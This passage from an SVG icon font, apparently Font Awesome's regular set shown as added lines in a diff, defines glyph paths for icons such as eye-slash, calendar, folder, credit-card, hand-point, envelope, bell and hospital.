25.0928 56 56c-0.0683594 9.78711 -2.71387 19.041 -7.24023 27c9.88379 3.07617 20.3896 4.83008 31.2402 5zM572.52 206.6c2.21387 -4.37793 3.46094 -9.38965 3.46094 -14.626 +c0 -5.2373 -1.24707 -10.1855 -3.46094 -14.5635c-54.1992 -105.771 -161.59 -177.41 -284.52 -177.41s-230.29 71.5898 -284.52 177.4c-2.21387 4.37793 -3.46094 9.38965 -3.46094 14.626c0 5.2373 1.24707 10.1855 3.46094 14.5635 +c54.1992 105.771 161.59 177.41 284.52 177.41s230.29 -71.5898 284.52 -177.4zM288 48c98.6602 0 189.1 55 237.93 144c-48.8398 89 -139.27 144 -237.93 144s-189.09 -55 -237.93 -144c48.8398 -89 139.279 -144 237.93 -144z" /> + <glyph glyph-name="eye-slash" unicode="" horiz-adv-x="640" +d="M634 -23c3.66895 -2.93262 6.00391 -7.45117 6.00391 -12.5088c0 -3.7832 -1.31543 -7.26074 -3.51367 -10.001l-10 -12.4902c-2.93359 -3.66309 -7.44824 -5.99414 -12.502 -5.99414c-3.77637 0 -7.25 1.31152 -9.98828 3.50391l-598 467.49 +c-3.66895 2.93262 -6.00391 7.45117 -6.00391 12.5088c0 3.7832 1.31543 7.26074 3.51367 10.001l10 12.4902c2.93359 3.66309 7.44824 5.99414 12.502 5.99414c3.77637 0 7.25 -1.31152 9.98828 -3.50391zM296.79 301.53c7.51172 1.60254 15.2266 2.45508 23.21 2.46973 +c60.4805 0 109.36 -47.9102 111.58 -107.85zM343.21 82.46c-7.51367 -1.59375 -15.2285 -2.44336 -23.21 -2.45996c-60.4697 0 -109.35 47.9102 -111.58 107.84zM320 336c-19.8799 0 -39.2803 -2.7998 -58.2197 -7.09961l-46.4102 36.29 +c32.9199 11.8096 67.9297 18.8096 104.63 18.8096c122.93 0 230.29 -71.5898 284.57 -177.4c2.21289 -4.37793 3.45996 -9.38965 3.45996 -14.626c0 -5.2373 -1.24707 -10.1855 -3.45996 -14.5635c-14.1924 -27.5625 -31.9229 -52.6689 -52.9004 -75.1104l-37.7402 29.5 +c17.2305 18.0527 31.9385 38.1318 44 60.2002c-48.8398 89 -139.279 144 -237.93 144zM320 48c19.8896 0 39.2803 2.7998 58.2197 7.08984l46.4102 -36.2803c-32.9199 -11.7598 -67.9297 -18.8096 -104.63 -18.8096c-122.92 0 -230.28 71.5898 -284.51 177.4 +c-2.21387 4.37793 -3.46094 9.38965 -3.46094 14.626c0 5.2373 1.24707 10.1855 3.46094 14.5635c14.1885 27.5586 31.916 52.6621 52.8896 75.1006l37.7402 -29.5c-17.249 -18.0469 -31.9727 -38.1221 -44.0498 -60.1904c48.8496 -89 139.279 -144 237.93 -144z" /> + <glyph glyph-name="calendar-alt" unicode="" horiz-adv-x="448" +d="M148 160h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM256 172c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40 +c6.59961 0 12 -5.40039 12 -12v-40zM352 172c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM256 76c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40 +c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM160 76c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM352 76c0 -6.59961 -5.40039 -12 -12 -12h-40 +c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM448 336v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40 +c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" /> + <glyph glyph-name="comment" unicode="" +d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-32.7998 0 -64 5.2002 -92.9004 14.2998c-29.0996 -20.5996 -77.5996 -46.2998 -139.1 -46.2998c-9.59961 0 -18.2998 5.7002 -22.0996 14.5c-3.80078 8.7998 -2 19 4.59961 26 +c0.5 0.400391 31.5 33.7998 46.4004 73.2002c-33 35.0996 -52.9004 78.7002 -52.9004 126.3c0 114.9 114.6 208 256 208zM256 48c114.7 0 208 71.7998 208 160s-93.2998 160 -208 160s-208 -71.7998 -208 -160c0 -42.2002 21.7002 -74.0996 39.7998 -93.4004 +l20.6006 -21.7998l-10.6006 -28.0996c-5.5 -14.5 -12.5996 -28.1006 -19.8994 -40.2002c23.5996 7.59961 43.1992 18.9004 57.5 29l19.5 13.7998l22.6992 -7.2002c25.3008 -8 51.7002 -12.0996 78.4004 -12.0996z" /> + <glyph glyph-name="folder" unicode="" +d="M464 320c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h146.74c8.49023 0 16.6299 -3.37012 22.6299 -9.37012l54.6299 -54.6299h192zM464 48v224h-198.62 +c-8.49023 0 -16.6299 3.37012 -22.6299 9.37012l-54.6299 54.6299h-140.12v-288h416z" /> + <glyph glyph-name="folder-open" unicode="" horiz-adv-x="576" +d="M527.9 224c37.6992 0 60.6992 -41.5 40.6992 -73.4004l-79.8994 -128c-8.7998 -14.0996 -24.2002 -22.5996 -40.7002 -22.5996h-400c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h160l64 -64h160c26.5 0 48 -21.5 48 -48v-48h47.9004zM48 330v-233.4l62.9004 104.2 +c8.69922 14.4004 24.2998 23.2002 41.0996 23.2002h280v42c0 3.2998 -2.7002 6 -6 6h-173.9l-64 64h-134.1c-3.2998 0 -6 -2.7002 -6 -6zM448 48l80 128h-378.8l-77.2002 -128h376z" /> + <glyph glyph-name="chart-bar" unicode="" +d="M396.8 96c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v230.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-230.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004zM204.8 96 +c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v198.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-198.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004zM300.8 96 +c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v134.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-134.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004zM496 48c8.83984 0 16 -7.16016 16 -16v-16 +c0 -8.83984 -7.16016 -16 -16 -16h-464c-17.6699 0 -32 14.3301 -32 32v336c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-320h448zM108.8 96c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v70.4004c0 6.39941 6.40039 12.7998 12.7998 12.7998h22.4004 +c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-70.4004c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-22.4004z" /> + <glyph glyph-name="comments" unicode="" horiz-adv-x="576" +d="M532 61.7998c15.2998 -30.7002 37.4004 -54.5 37.7998 -54.7998c6.2998 -6.7002 8 -16.5 4.40039 -25c-3.7002 -8.5 -12 -14 -21.2002 -14c-53.5996 0 -96.7002 20.2998 -125.2 38.7998c-19 -4.39941 -39 -6.7998 -59.7998 -6.7998 +c-86.2002 0 -159.9 40.4004 -191.3 97.7998c-9.7002 1.2002 -19.2002 2.7998 -28.4004 4.90039c-28.5 -18.6006 -71.7002 -38.7998 -125.2 -38.7998c-9.19922 0 -17.5996 5.5 -21.1992 14c-3.7002 8.5 -1.90039 18.2998 4.39941 25 +c0.400391 0.399414 22.4004 24.1992 37.7002 54.8994c-27.5 27.2002 -44 61.2002 -44 98.2002c0 88.4004 93.0996 160 208 160c86.2998 0 160.3 -40.5 191.8 -98.0996c99.7002 -11.8008 176.2 -77.9004 176.2 -157.9c0 -37.0996 -16.5 -71.0996 -44 -98.2002zM139.2 154.1 +l19.7998 -4.5c16 -3.69922 32.5 -5.59961 49 -5.59961c86.7002 0 160 51.2998 160 112s-73.2998 112 -160 112s-160 -51.2998 -160 -112c0 -28.7002 16.2002 -50.5996 29.7002 -64l24.7998 -24.5l-15.5 -31.0996c-2.59961 -5.10059 -5.2998 -10.1006 -8 -14.8008 +c14.5996 5.10059 29 12.3008 43.0996 21.4004zM498.3 96c13.5 13.4004 29.7002 35.2998 29.7002 64c0 49.2002 -48.2998 91.5 -112.7 106c0.299805 -3.2998 0.700195 -6.59961 0.700195 -10c0 -80.9004 -78 -147.5 -179.3 -158.3 +c29.0996 -29.6006 77.2998 -49.7002 131.3 -49.7002c16.5 0 33 1.90039 49 5.59961l19.9004 4.60059l17.0996 -11.1006c14.0996 -9.09961 28.5 -16.2998 43.0996 -21.3994c-2.69922 4.7002 -5.39941 9.7002 -8 14.7998l-15.5 31.0996z" /> + <glyph glyph-name="star-half" unicode="" horiz-adv-x="576" +d="M288 62.7002v-54.2998l-130.7 -68.6006c-23.3994 -12.2998 -50.8994 7.60059 -46.3994 33.7002l25 145.5l-105.7 103c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2002l65.2998 132.4c5.90039 11.8994 17.2998 17.7998 28.7002 17.7998v-68.0996l-62.2002 -126 +l-139 -20.2002l100.601 -98l-23.7002 -138.4z" /> + <glyph glyph-name="lemon" unicode="" +d="M484.112 420.111c28.1221 -28.123 35.9434 -68.0039 19.0215 -97.0547c-23.0576 -39.584 50.1436 -163.384 -82.3311 -295.86c-132.301 -132.298 -256.435 -59.3594 -295.857 -82.3291c-29.0459 -16.917 -68.9219 -9.11426 -97.0576 19.0205 +c-28.1221 28.1221 -35.9434 68.0029 -19.0215 97.0547c23.0566 39.5859 -50.1436 163.386 82.3301 295.86c132.308 132.309 256.407 59.3496 295.862 82.332c29.0498 16.9219 68.9307 9.09863 97.0537 -19.0234zM461.707 347.217 +c13.5166 23.2031 -27.7578 63.7314 -50.4883 50.4912c-66.6025 -38.7939 -165.646 45.5898 -286.081 -74.8457c-120.444 -120.445 -36.0449 -219.472 -74.8447 -286.08c-13.542 -23.2471 27.8145 -63.6953 50.4932 -50.4883 +c66.6006 38.7949 165.636 -45.5996 286.076 74.8428c120.444 120.445 36.0449 219.472 74.8447 286.08zM291.846 338.481c1.37012 -10.96 -6.40332 -20.957 -17.3643 -22.3271c-54.8467 -6.85547 -135.779 -87.7871 -142.636 -142.636 +c-1.37305 -10.9883 -11.3984 -18.7334 -22.3262 -17.3643c-10.9609 1.37012 -18.7344 11.3652 -17.3643 22.3262c9.16211 73.2852 104.167 168.215 177.364 177.364c10.9531 1.36816 20.9561 -6.40234 22.3262 -17.3633z" /> + <glyph glyph-name="credit-card" unicode="" horiz-adv-x="576" +d="M527.9 416c26.5996 0 48.0996 -21.5 48.0996 -48v-352c0 -26.5 -21.5 -48 -48.0996 -48h-479.801c-26.5996 0 -48.0996 21.5 -48.0996 48v352c0 26.5 21.5 48 48.0996 48h479.801zM54.0996 368c-3.2998 0 -6 -2.7002 -6 -6v-42h479.801v42c0 3.2998 -2.7002 6 -6 6 +h-467.801zM521.9 16c3.2998 0 6 2.7002 6 6v170h-479.801v-170c0 -3.2998 2.7002 -6 6 -6h467.801zM192 116v-40c0 -6.59961 -5.40039 -12 -12 -12h-72c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h72c6.59961 0 12 -5.40039 12 -12zM384 116v-40 +c0 -6.59961 -5.40039 -12 -12 -12h-136c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h136c6.59961 0 12 -5.40039 12 -12z" /> + <glyph glyph-name="hdd" unicode="" horiz-adv-x="576" +d="M567.403 212.358c5.59668 -8.04688 8.59668 -17.6113 8.59668 -27.4121v-136.946c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v136.946c0 10.167 3.19531 19.6465 8.59668 27.4121l105.08 151.053 +c8.67383 12.4678 23.0791 20.5889 39.4043 20.5889h269.838c16.3252 0 30.7305 -8.12109 39.4043 -20.5889zM153.081 336l-77.9131 -112h425.664l-77.9131 112h-269.838zM528 48v128h-480v-128h480zM496 112c0 -17.6729 -14.3271 -32 -32 -32s-32 14.3271 -32 32 +s14.3271 32 32 32s32 -14.3271 32 -32zM400 112c0 -17.6729 -14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32s32 -14.3271 32 -32z" /> + <glyph glyph-name="hand-point-right" unicode="" +d="M428.8 310.4c45.0996 0 83.2002 -38.1016 83.2002 -83.2002c0 -45.6162 -37.7646 -83.2002 -83.2002 -83.2002h-35.6475c-1.71387 -7.70605 -4.43555 -15.2051 -7.92969 -22.0645c2.50586 -22.0059 -3.50293 -44.9775 -15.9844 -62.791 +c-1.14062 -52.4863 -37.3984 -91.1445 -99.9404 -91.1445h-21.2988c-60.0635 0 -98.5117 40 -127.2 40h-2.67871c-5.74707 -4.95215 -13.5361 -8 -22.1201 -8h-64c-17.6729 0 -32 12.8936 -32 28.7998v230.4c0 15.9062 14.3271 28.7998 32 28.7998h64.001 +c8.58398 0 16.373 -3.04785 22.1201 -8h2.67871c6.96387 0 14.8623 6.19336 30.1816 23.6689l0.128906 0.148438l0.130859 0.145508c8.85645 9.93652 18.1162 20.8398 25.8506 33.2529c18.7051 30.2471 30.3936 78.7842 75.707 78.7842c56.9277 0 92 -35.2861 92 -83.2002 +c0 -0.0283203 0 0.0361328 0 0.0078125c0 -7.66602 -0.748047 -15.1582 -2.17578 -22.4072h86.1768zM428.8 192c18.9756 0 35.2002 16.2246 35.2002 35.2002c0 18.7002 -16.7754 35.2002 -35.2002 35.2002h-158.399c0 17.3242 26.3994 35.1992 26.3994 70.3994 +c0 26.4004 -20.625 35.2002 -44 35.2002c-8.79395 0 -20.4443 -32.7119 -34.9258 -56.0996c-9.07422 -14.5752 -19.5244 -27.2256 -30.7988 -39.875c-16.1094 -18.374 -33.8359 -36.6328 -59.0752 -39.5967v-176.753c42.79 -3.7627 74.5088 -39.6758 120 -39.6758h21.2988 +c40.5244 0 57.124 22.1973 50.6006 61.3252c14.6113 8.00098 24.1514 33.9785 12.9248 53.625c19.3652 18.2246 17.7871 46.3809 4.9502 61.0498h91.0254zM88 64c0 13.2549 -10.7451 24 -24 24s-24 -10.7451 -24 -24s10.7451 -24 24 -24s24 10.7451 24 24z" /> + <glyph glyph-name="hand-point-left" unicode="" +d="M0 227.2c0 45.0986 38.1006 83.2002 83.2002 83.2002h86.1758c-1.3623 6.91016 -2.17578 14.374 -2.17578 22.3994c0 47.9141 35.0723 83.2002 92 83.2002c45.3135 0 57.002 -48.5371 75.7061 -78.7852c7.73438 -12.4121 16.9951 -23.3154 25.8506 -33.2529 +l0.130859 -0.145508l0.128906 -0.148438c15.3213 -17.4746 23.2197 -23.668 30.1836 -23.668h2.67871c5.74707 4.95215 13.5361 8 22.1201 8h64c17.6729 0 32 -12.8936 32 -28.7998v-230.4c0 -15.9062 -14.3271 -28.7998 -32 -28.7998h-64 +c-8.58398 0 -16.373 3.04785 -22.1201 8h-2.67871c-28.6885 0 -67.1367 -40 -127.2 -40h-21.2988c-62.542 0 -98.8008 38.6582 -99.9404 91.1445c-12.4814 17.8135 -18.4922 40.7852 -15.9844 62.791c-3.49414 6.85938 -6.21582 14.3584 -7.92969 22.0645h-35.6465 +c-45.4355 0 -83.2002 37.584 -83.2002 83.2002zM48 227.2c0 -18.9756 16.2246 -35.2002 35.2002 -35.2002h91.0244c-12.8369 -14.6689 -14.415 -42.8252 4.9502 -61.0498c-11.2256 -19.6465 -1.68652 -45.624 12.9248 -53.625 +c-6.52246 -39.1279 10.0771 -61.3252 50.6016 -61.3252h21.2988c45.4912 0 77.21 35.9131 120 39.6768v176.752c-25.2393 2.96289 -42.9658 21.2227 -59.0752 39.5967c-11.2744 12.6494 -21.7246 25.2998 -30.7988 39.875 +c-14.4814 23.3877 -26.1318 56.0996 -34.9258 56.0996c-23.375 0 -44 -8.7998 -44 -35.2002c0 -35.2002 26.3994 -53.0752 26.3994 -70.3994h-158.399c-18.4248 0 -35.2002 -16.5 -35.2002 -35.2002zM448 88c-13.2549 0 -24 -10.7451 -24 -24s10.7451 -24 24 -24 +s24 10.7451 24 24s-10.7451 24 -24 24z" /> + <glyph glyph-name="hand-point-up" unicode="" horiz-adv-x="448" +d="M105.6 364.8c0 45.0996 38.1016 83.2002 83.2002 83.2002c45.6162 0 83.2002 -37.7646 83.2002 -83.2002v-35.6465c7.70605 -1.71387 15.2051 -4.43555 22.0645 -7.92969c22.0059 2.50684 44.9775 -3.50293 62.791 -15.9844 +c52.4863 -1.14062 91.1445 -37.3984 91.1445 -99.9404v-21.2988c0 -60.0635 -40 -98.5117 -40 -127.2v-2.67871c4.95215 -5.74707 8 -13.5361 8 -22.1201v-64c0 -17.6729 -12.8936 -32 -28.7998 -32h-230.4c-15.9062 0 -28.7998 14.3271 -28.7998 32v64 +c0 8.58398 3.04785 16.373 8 22.1201v2.67871c0 6.96387 -6.19336 14.8623 -23.6689 30.1816l-0.148438 0.128906l-0.145508 0.130859c-9.93652 8.85645 -20.8398 18.1162 -33.2529 25.8506c-30.2471 18.7051 -78.7842 30.3936 -78.7842 75.707 +c0 56.9277 35.2861 92 83.2002 92c0.0283203 0 -0.0361328 0 -0.0078125 0c7.66602 0 15.1582 -0.748047 22.4072 -2.17578v86.1768zM224 364.8c0 18.9756 -16.2246 35.2002 -35.2002 35.2002c-18.7002 0 -35.2002 -16.7754 -35.2002 -35.2002v-158.399 +c-17.3242 0 -35.1992 26.3994 -70.3994 26.3994c-26.4004 0 -35.2002 -20.625 -35.2002 -44c0 -8.79395 32.7119 -20.4443 56.0996 -34.9258c14.5752 -9.07422 27.2256 -19.5244 39.875 -30.7988c18.374 -16.1094 36.6328 -33.8359 39.5967 -59.0752h176.753 +c3.7627 42.79 39.6758 74.5088 39.6758 120v21.2988c0 40.5244 -22.1973 57.124 -61.3252 50.6006c-8.00098 14.6113 -33.9785 24.1514 -53.625 12.9248c-18.2246 19.3652 -46.3809 17.7871 -61.0498 4.9502v91.0254zM352 24c-13.2549 0 -24 -10.7451 -24 -24 +s10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24z" /> + <glyph glyph-name="hand-point-down" unicode="" horiz-adv-x="448" +d="M188.8 -64c-45.0986 0 -83.2002 38.1006 -83.2002 83.2002v86.1758c-6.91016 -1.3623 -14.374 -2.17578 -22.3994 -2.17578c-47.9141 0 -83.2002 35.0723 -83.2002 92c0 45.3135 48.5371 57.002 78.7852 75.707c12.4121 7.73438 23.3154 16.9951 33.2529 25.8506 +l0.145508 0.130859l0.148438 0.128906c17.4746 15.3213 23.668 23.2197 23.668 30.1836v2.67871c-4.95215 5.74707 -8 13.5361 -8 22.1201v64c0 17.6729 12.8936 32 28.7998 32h230.4c15.9062 0 28.7998 -14.3271 28.7998 -32v-64.001 +c0 -8.58398 -3.04785 -16.373 -8 -22.1201v-2.67871c0 -28.6885 40 -67.1367 40 -127.2v-21.2988c0 -62.542 -38.6582 -98.8008 -91.1445 -99.9404c-17.8135 -12.4814 -40.7852 -18.4922 -62.791 -15.9844c-6.85938 -3.49414 -14.3584 -6.21582 -22.0645 -7.92969v-35.6465 +c0 -45.4355 -37.584 -83.2002 -83.2002 -83.2002zM188.8 -16c18.9756 0 35.2002 16.2246 35.2002 35.2002v91.0244c14.6689 -12.8369 42.8252 -14.415 61.0498 4.9502c19.6465 -11.2256 45.624 -1.68652 53.625 12.9248c39.1279 -6.52246 61.3252 10.0771 61.3252 50.6016 +v21.2988c0 45.4912 -35.9131 77.21 -39.6768 120h-176.752c-2.96289 -25.2393 -21.2227 -42.9658 -39.5967 -59.0752c-12.6494 -11.2744 -25.2998 -21.7246 -39.875 -30.7988c-23.3877 -14.4814 -56.0996 -26.1318 -56.0996 -34.9258c0 -23.375 8.7998 -44 35.2002 -44 +c35.2002 0 53.0752 26.3994 70.3994 26.3994v-158.399c0 -18.4248 16.5 -35.2002 35.2002 -35.2002zM328 384c0 -13.2549 10.7451 -24 24 -24s24 10.7451 24 24s-10.7451 24 -24 24s-24 -10.7451 -24 -24z" /> + <glyph glyph-name="copy" unicode="" horiz-adv-x="448" +d="M433.941 382.059c8.68848 -8.68848 14.0586 -20.6943 14.0586 -33.9404v-268.118c0 -26.5098 -21.4902 -48 -48 -48h-80v-48c0 -26.5098 -21.4902 -48 -48 -48h-224c-26.5098 0 -48 21.4902 -48 48v320c0 26.5098 21.4902 48 48 48h80v48c0 26.5098 21.4902 48 48 48 +h172.118c13.2461 0 25.252 -5.37012 33.9404 -14.0586zM266 -16c3.31152 0 6 2.68848 6 6v42h-96c-26.5098 0 -48 21.4902 -48 48v224h-74c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h212zM394 80c3.31152 0 6 2.68848 6 6v202h-88 +c-13.2549 0 -24 10.7451 -24 24v88h-106c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h212zM400 336v9.63184c0 1.65527 -0.670898 3.15723 -1.75684 4.24316l-48.3682 48.3682c-1.12598 1.125 -2.65234 1.75684 -4.24316 1.75684h-9.63184v-64h64z" /> + <glyph glyph-name="save" unicode="" horiz-adv-x="448" +d="M433.941 318.059c8.68848 -8.68848 14.0586 -20.6943 14.0586 -33.9404v-268.118c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h268.118c13.2461 0 25.252 -5.37012 33.9404 -14.0586zM272 368h-128v-80h128v80z +M394 16c3.31152 0 6 2.68848 6 6v259.632c0 1.65527 -0.670898 3.15723 -1.75684 4.24316l-78.2432 78.2432v-100.118c0 -13.2549 -10.7451 -24 -24 -24h-176c-13.2549 0 -24 10.7451 -24 24v104h-42c-3.31152 0 -6 -2.68848 -6 -6v-340c0 -3.31152 2.68848 -6 6 -6h340z +M224 216c48.5234 0 88 -39.4766 88 -88s-39.4766 -88 -88 -88s-88 39.4766 -88 88s39.4766 88 88 88zM224 88c22.0557 0 40 17.9443 40 40s-17.9443 40 -40 40s-40 -17.9443 -40 -40s17.9443 -40 40 -40z" /> + <glyph glyph-name="square" unicode="" horiz-adv-x="448" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM394 16c3.2998 0 6 2.7002 6 6v340c0 3.2998 -2.7002 6 -6 6h-340c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h340z" /> + <glyph glyph-name="envelope" unicode="" +d="M464 384c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416zM464 336h-416v-40.8047c22.4248 -18.2627 58.1797 -46.6602 134.587 -106.49 +c16.834 -13.2422 50.2051 -45.0762 73.4131 -44.7012c23.2119 -0.371094 56.5723 31.4541 73.4131 44.7012c76.4189 59.8389 112.165 88.2305 134.587 106.49v40.8047zM48 48h416v185.601c-22.915 -18.252 -55.4189 -43.8691 -104.947 -82.6523 +c-22.5439 -17.748 -60.3359 -55.1787 -103.053 -54.9473c-42.9277 -0.231445 -81.2051 37.75 -103.062 54.9551c-49.5293 38.7842 -82.0244 64.3945 -104.938 82.6455v-185.602z" /> + <glyph glyph-name="lightbulb" unicode="" horiz-adv-x="352" +d="M176 368c8.83984 0 16 -7.16016 16 -16s-7.16016 -16 -16 -16c-35.2803 0 -64 -28.7002 -64 -64c0 -8.83984 -7.16016 -16 -16 -16s-16 7.16016 -16 16c0 52.9404 43.0596 96 96 96zM96.0596 -11.1699l-0.0400391 43.1797h159.961l-0.0507812 -43.1797 +c-0.00976562 -3.13965 -0.939453 -6.21973 -2.67969 -8.83984l-24.5098 -36.8398c-2.95996 -4.45996 -7.95996 -7.14062 -13.3203 -7.14062h-78.8496c-5.35059 0 -10.3506 2.68066 -13.3203 7.14062l-24.5098 36.8398c-1.75 2.62012 -2.68066 5.68945 -2.68066 8.83984z +M176 448c97.2002 0 176 -78.7998 176 -176c0 -44.3701 -16.4502 -84.8496 -43.5498 -115.79c-16.6406 -18.9795 -42.7402 -58.79 -52.4199 -92.1602v-0.0498047h-48v0.0996094c0.00488281 4.98145 0.790039 9.78809 2.21973 14.3008 +c5.67969 17.9893 22.9902 64.8496 62.0996 109.46c20.4102 23.29 31.6504 53.1699 31.6504 84.1396c0 70.5801 -57.4199 128 -128 128c-68.2803 0 -128.15 -54.3604 -127.95 -128c0.0898438 -30.9902 11.0703 -60.71 31.6104 -84.1396 +c39.3496 -44.9004 56.5801 -91.8604 62.1699 -109.67c1.42969 -4.56055 2.13965 -9.30078 2.15039 -14.0703v-0.120117h-48v0.0595703c-9.68066 33.3604 -35.7803 73.1709 -52.4209 92.1602c-27.1094 30.9307 -43.5596 71.4102 -43.5596 115.78 +c0 93.0303 73.7197 176 176 176z" /> + <glyph glyph-name="bell" unicode="" horiz-adv-x="448" +d="M439.39 85.71c6 -6.44043 8.66016 -14.1602 8.61035 -21.71c-0.0996094 -16.4004 -12.9805 -32 -32.0996 -32h-383.801c-19.1191 0 -31.9893 15.5996 -32.0996 32c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c19.3193 20.7598 55.4697 51.9902 55.4697 154.29 +c0 77.7002 54.4795 139.9 127.939 155.16v20.8398c0 17.6699 14.3203 32 31.9805 32s31.9805 -14.3301 31.9805 -32v-20.8398c73.46 -15.2598 127.939 -77.46 127.939 -155.16c0 -102.3 36.1504 -133.53 55.4697 -154.29zM67.5303 80h312.939 +c-21.2197 27.96 -44.4199 74.3203 -44.5293 159.42c0 0.200195 0.0595703 0.379883 0.0595703 0.580078c0 61.8604 -50.1396 112 -112 112s-112 -50.1396 -112 -112c0 -0.200195 0.0595703 -0.379883 0.0595703 -0.580078 +c-0.109375 -85.0898 -23.3096 -131.45 -44.5293 -159.42zM224 -64c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64z" /> + <glyph glyph-name="hospital" unicode="" horiz-adv-x="448" +d="M128 204v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12zM268 192c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40 +c0 -6.62695 -5.37305 -12 -12 -12h-40zM192 108c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40zM268 96c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40 +c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40zM448 -28v-36h-448v36c0 6.62695 5.37305 12 12 12h19.5v378.965c0 11.6172 10.7451 21.0352 24 21.0352h88.5v40c0 13.2549 10.7451 24 24 24h112c13.2549 0 24 -10.7451 24 -24v-40h88.5 +c13.2549 0 24 -9.41797 24 -21.0352v-378.965h19.5c6.62695 0 12 -5.37305 12 -12zM79.5 -15h112.5v67c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-67h112.5v351h-64.5v-24c0 -13.2549 -10.7451 -24 -24 -24h-112c-13.2549 0 -24 10.7451 -24 24v24 +h-64.5v-351zM266 384h-26v26c0 3.31152 -2.68848 6 -6 6h-20c-3.31152 0 -6 -2.68848 -6 -6v-26h-26c-3.31152 0 -6 -2.68848 -6 -6v-20c0 -3.31152 2.68848 -6 6 -6h26v-26c0 -3.31152 2.68848 -6 6 -6h20c3.31152 0 6 2.68848 6 6v26h26c3.31152 0 6 2.68848 6 6v20 +c0 3.31152 -2.68848 6 -6 6z" /> + <glyph glyph-name="plus-square" unicode="" horiz-adv-x="448" +d="M352 208v-32c0 -6.59961 -5.40039 -12 -12 -12h-88v-88c0 -6.59961 -5.40039 -12 -12 -12h-32c-6.59961 0 -12 5.40039 -12 12v88h-88c-6.59961 0 -12 5.40039 -12 12v32c0 6.59961 5.40039 12 12 12h88v88c0 6.59961 5.40039 12 12 12h32c6.59961 0 12 -5.40039 12 -12 +v-88h88c6.59961 0 12 -5.40039 12 -12zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM400 22v340c0 3.2998 -2.7002 6 